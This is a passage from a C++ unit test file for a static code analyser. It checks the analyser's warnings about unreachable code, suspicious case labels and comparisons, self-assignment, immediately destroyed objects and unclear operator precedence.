}\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n }\n\n\n void suspiciousCase() {\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B:\\n\"\n \" foo();\\n\"\n \" case (A||B):\\n\"\n \" foo();\\n\"\n \" case A||B:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '&&' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:5:16]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:7:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case 1:\\n\"\n \" a=A&&B;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B?B:A:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\"), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousEqualityComparison() {\n check(\"void foo(int c) {\\n\"\n \" if (x) c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(const int* c) {\\n\"\n \" if (x) *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n\n check(\"void foo(int c) {\\n\"\n \" if (c == 1) {\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" c == 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i == 10; i ++) {\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 0; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 1; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 2; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i < 10; i == c) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (; running == 1;) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" printf(\\\"%i\\\", ({x==0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int arg) {\\n\"\n \" printf(\\\"%i\\\", ({int x = do_something(); x == 0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" printf(\\\"%i\\\", ({x == 0; x > 0 ? 10 : 20}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (const Token* end = tok->link(); tok != end; tok = (tok == end) ? end : tok->next()) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = (x == 0) ? 0 : 5; i < 10; i ++) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = 0; i < 10; i += (x == 5) ? 1 : 2) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousUnaryPlusMinus() { // #8004\n check(\"int g() { return 1; }\\n\"\n \"void f() {\\n\"\n \" +g();\\n\"\n \" -g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\"\n \" +i;\\n\"\n \" -i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n }\n\n void suspiciousFloatingPointCast() {\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + (float)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + static_cast(b) + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"long double f(long double a, long double b, float c) {\\n\"\n \" return a + (double)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"void g(int, double);\\n\"\n \"void h(double);\\n\"\n \"void f(double d) {\\n\"\n \" g(1, (float)d);\\n\"\n \" h((float)d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\"\n \"[test.cpp:5:7]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\",\n errout_str());\n }\n\n void selfAssignment() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"struct A { int b; };\\n\"\n \"void foo(A* a1, A* a2) {\\n\"\n \" a1->b = a1->b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'a1->b' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"int x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" x = x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4073 (segmentation fault)\n check(\"void Foo::myFunc( int a )\\n\"\n \"{\\n\"\n \" if (a == 42)\\n\"\n \" a = a;\\n\"\n \"}\");\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *x = getx();\\n\"\n \" *x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BAR *x = getx();\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #2502 - non-primitive type -> there might be some side effects\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred; fred = fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x == 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x != 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3001 - false positive\n check(\"void foo(int x) {\\n\"\n \" x = x ? x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3800 - false negative when variable is extern\n check(\"extern int i;\\n\"\n \"void f() {\\n\"\n \" i = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'i' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4291 - id for variables accessed through 'this'\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"void Foo::func() {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Redundant assignment of 'this->var' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func(int var);\\n\"\n \"};\\n\"\n \"void Foo::func(int var) {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6406 - designated initializer doing bogus self assignment\n check(\"struct callbacks {\\n\"\n \" void (*s)(void);\\n\"\n \"};\\n\"\n \"void something(void) {}\\n\"\n \"void f() {\\n\"\n \" struct callbacks ops = { .s = ops.s };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Redundant assignment of 'something' to itself.\\n\", \"\", errout_str());\n\n check(\"class V\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" V()\\n\"\n \" {\\n\"\n \" x = y = z = 0.0;\\n\"\n \" }\\n\"\n \" V( double x, const double y_, const double &z_)\\n\"\n \" {\\n\"\n \" x = x; y = y; z = z;\\n\"\n \" }\\n\"\n \" double x, y, z;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:18]: (style) Redundant assignment of 'y' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:25]: (style) Redundant assignment of 'z' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void f(int i) { i = !!i; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int x = 1;\\n\"\n \" int &ref = x;\\n\"\n \" ref = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Redundant assignment of 'ref' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\" // #9850\n \" int i{};\\n\"\n \" void modify();\\n\"\n \" void method() {\\n\"\n \" Foo copy = *this;\\n\"\n \" modify();\\n\"\n \" *this = copy;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11383\n \" void f() {\\n\"\n \" int x = 42;\"\n \" auto l2 = [i = i, x, y = 0]() { return i + x + y; };\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10337\n \" int b[2] = { 1, 2 };\\n\"\n \" int idx = 0;\\n\"\n \" int& i = b[idx];\\n\"\n \" idx++;\\n\"\n \" i = b[idx];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\" // #12390\n \"void f() {\\n\"\n \" int o = s.i;\\n\"\n \" g(&s.i);\\n\"\n \" s.i = o;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac1132() {\n check(\"class Lock\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Lock(int i)\\n\"\n \" {\\n\"\n \" std::cout << \\\"Lock \\\" << i << std::endl;\\n\"\n \" }\\n\"\n \" ~Lock()\\n\"\n \" {\\n\"\n \" std::cout << \\\"~Lock\\\" << std::endl;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" Lock(123);\\n\"\n \" std::cout << \\\"hello\\\" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:5]: (style) Instance of 'Lock' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac3693() {\n check(\"struct A{\\n\"\n \" enum {\\n\"\n \" b = 300\\n\"\n \" };\\n\"\n \"};\\n\"\n \"const int DFLT_TIMEOUT = A::b % 1000000 ;\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction1() {\n check(\"int main ( )\\n\"\n \"{\\n\"\n \" CouldBeFunction ( 123 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction2() {\n check(\"struct error {\\n\"\n \" error() {}\\n\"\n \"};\\n\"\n \"\\n\"\n \"class parser {\\n\"\n \"public:\\n\"\n \" void error() const {}\\n\"\n \"\\n\"\n \" void foo() const {\\n\"\n \" error();\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectPicksClass() {\n check(\"class NotAFunction ;\\n\"\n \"int function ( )\\n\"\n \"{\\n\"\n \" NotAFunction ( 123 );\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAFunction' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectPicksStruct() {\n check(\"struct NotAClass;\\n\"\n \"bool func ( )\\n\"\n \"{\\n\"\n \" NotAClass ( 123 ) ;\\n\"\n \" return true ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAClass' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickIf() {\n check(\"bool func( int a , int b , int c )\\n\"\n \"{\\n\"\n \" if ( a > b ) return c == a ;\\n\"\n \" return b == a ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickConstructorDeclaration() {\n check(\"class Something : public SomethingElse\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"~Something ( ) ;\\n\"\n \"Something ( ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunctor() {\n check(\"class IncrementFunctor\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void operator()(int &i)\\n\"\n \" {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" IncrementFunctor()(a);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickLocalClassConstructors() {\n check(\"void f() {\\n\"\n \" class Foo {\\n\"\n \" Foo() { }\\n\"\n \" Foo(int a) { }\\n\"\n \" Foo(int a, int b) { }\\n\"\n \" };\\n\"\n \" Foo();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickUsedObject() {\n check(\"struct Foo {\\n\"\n \" void bar() {\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fn() {\\n\"\n \" Foo().bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickPureC() {\n // Ticket #2352\n const char code[] = \"struct cb_watch_bool {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" cb_watch_bool();\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'cb_watch_bool' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(code, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2639\n check(\"struct stat { int a; int b; };\\n\"\n \"void stat(const char *fn, struct stat *);\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" stat(\\\"file.txt\\\", &st);\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"struct AMethodObject {\\n\" // #4336\n \" AMethodObject(double, double, double);\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" static void A(double, double, double);\\n\"\n \"};\\n\"\n \"void S::A(double const a1, double const a2, double const a3) {\\n\"\n \" AMethodObject(a1, a2, a3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\",errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickNestedClass() {\n const char code[] = \"class ios_base {\\n\"\n \"public:\\n\"\n \" class Init {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class foo {\\n\"\n \"public:\\n\"\n \" foo();\\n\"\n \" void Init(int);\\n\"\n \"};\\n\"\n \"foo::foo() {\\n\"\n \" Init(0);\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectInConstructor() {\n const char code[] = \"class Foo {\\n\"\n \"public:\\n\"\n \" Foo(char x) {\\n\"\n \" Foo(x, 0);\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \" Foo(char x, int y) { }\\n\"\n \"};\\n\";\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectStandardType() {\n check(\"int g();\\n\"\n \"void f(int i) {\\n\"\n \" int();\\n\"\n \" int(0);\\n\"\n \" int( g() );\\n\" // don't warn\n \" int{};\\n\"\n \" int{ 0 };\\n\"\n \" int{ i };\\n\"\n \" int{ g() };\\n\" // don't warn\n \" g();\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:7:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:8:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"void f(int j) {\\n\"\n \" for (; bool(j); ) {}\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() {\\n\"\n \" float (f);\\n\"\n \" float (*p);\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" void();\\n\"\n \" return i;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectNamespace() {\n check(\"namespace M {\\n\" // #4779\n \" namespace N {\\n\"\n \" struct S {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" M::N::S();\\n\"\n \" return 0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:7:11]: (style) Instance of 'M::N::S' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10057\n \" std::string(\\\"abc\\\");\\n\"\n \" std::string{ \\\"abc\\\" };\\n\"\n \" std::pair(1, 2);\\n\"\n \" (void)0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:3:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:10]: (style) Instance of 'std::pair' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #10083\n \" void f() {\\n\"\n \" std::lock_guard(m);\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" std::mutex m;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Instance of 'std::lock_guard' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:9:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"namespace {\\n\"\n \" S s() { return ::S{42}; }\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectAssignment() { // #11371\n check(\"struct S;\\n\"\n \"S f();\\n\"\n \"S& g();\\n\"\n \"S&& h();\\n\"\n \"S* i();\\n\"\n \"void t0() { f() = {}; }\\n\"\n \"void t1() { g() = {}; }\\n\"\n \"void t2() { h() = {}; }\\n\"\n \"void t3() { *i() = {}; }\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:6:19]: (style) Instance of 'S' object is destroyed immediately, assignment has no effect. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac2084() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct sigaction sa;\\n\"\n \"\\n\"\n \" { sigaction(SIGHUP, &sa, 0); };\\n\"\n \" { sigaction(SIGINT, &sa, 0); };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac2071() {\n check(\"void f() {\\n\"\n \" struct AB {\\n\"\n \" AB(int a) { }\\n\"\n \" };\\n\"\n \"\\n\"\n \" const AB ab[3] = { AB(0), AB(1), AB(2) };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCalculation() {\n check(\"int f(char c) {\\n\"\n \" return 10 * (c == 0) ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", 10 * (c == 0) ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (2*a)?b:c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", a + b ? 1 : 2);\\n\"\n \"}\",true,false,false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Clarify calculation precedence for '+' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << x << y ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (style) Clarify calculation precedence for '<<' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a - b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '-' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a | b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '|' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n // ticket #195\n check(\"int f(int x, int y) {\\n\"\n \" return x >> ! y ? 8 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Clarify calculation precedence for '>>' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return shift < sizeof(int64_t)*8 ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a = *p ? 1 : 2; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { const char *p = x & 1 ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { x = a % b ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 1 ? '1' : '0'; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x % 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum {X,Y}; void f(int x) { return x & Y ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyStatement() {\n check(\"char* f(char* c) {\\n\"\n \" *c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:7]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char** c) {\\n\"\n \" *c[5]--;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:10]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a[5].v[3]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:17]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a(1, 5).v[x + y]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:24]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char* c) {\\n\"\n \" (*c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* c) {\\n\"\n \" bar(*c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" ***c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char** f(char*** c) {\\n\"\n \" **c[5]--;\\n\"\n \" return **c;\\n\"\n 